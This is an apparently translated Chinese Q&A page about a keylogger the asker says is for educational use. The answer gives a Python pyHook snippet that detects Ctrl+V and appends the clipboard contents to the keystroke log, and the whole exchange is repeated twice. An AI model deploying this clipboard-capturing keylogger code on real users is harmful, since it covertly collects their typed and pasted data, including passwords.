如何捕捉ctrl+v?
How to catch ctrl+v?
我正在写一个键盘记录器(用于教育目的)。
我正在尝试复制剪贴板中的内容并将其写入文件以防按下 Ctrl+V。我发现它的缩写是 'SYN' 但我不知道它的 ascii 是什么。我确实设法捕获了每个击键并将其写入文件。当 Ctrl+V 击键发生时,我在文件中得到的是 'Lcontrol' 和紧随其后的 'V' 所以我猜它是分开捕获它们的。
这是解决方案:
...
import win32clipboard
from pyHook import HookManager, GetKeyState, HookConstants
...
if GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'V':
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
with open(file, "a") as f:
f.write("{Clipboard : " + data + "}")
...
我正在写一个键盘记录器(用于教育目的)。
我正在尝试复制剪贴板中的内容并将其写入文件以防按下 Ctrl+V。我发现它的缩写是 'SYN' 但我不知道它的 ascii 是什么。我确实设法捕获了每个击键并将其写入文件。当 Ctrl+V 击键发生时,我在文件中得到的是 'Lcontrol' 和紧随其后的 'V' 所以我猜它是分开捕获它们的。
这是解决方案:
...
import win32clipboard
from pyHook import HookManager, GetKeyState, HookConstants
...
if GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'V':
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
with open(file, "a") as f:
f.write("{Clipboard : " + data + "}")
...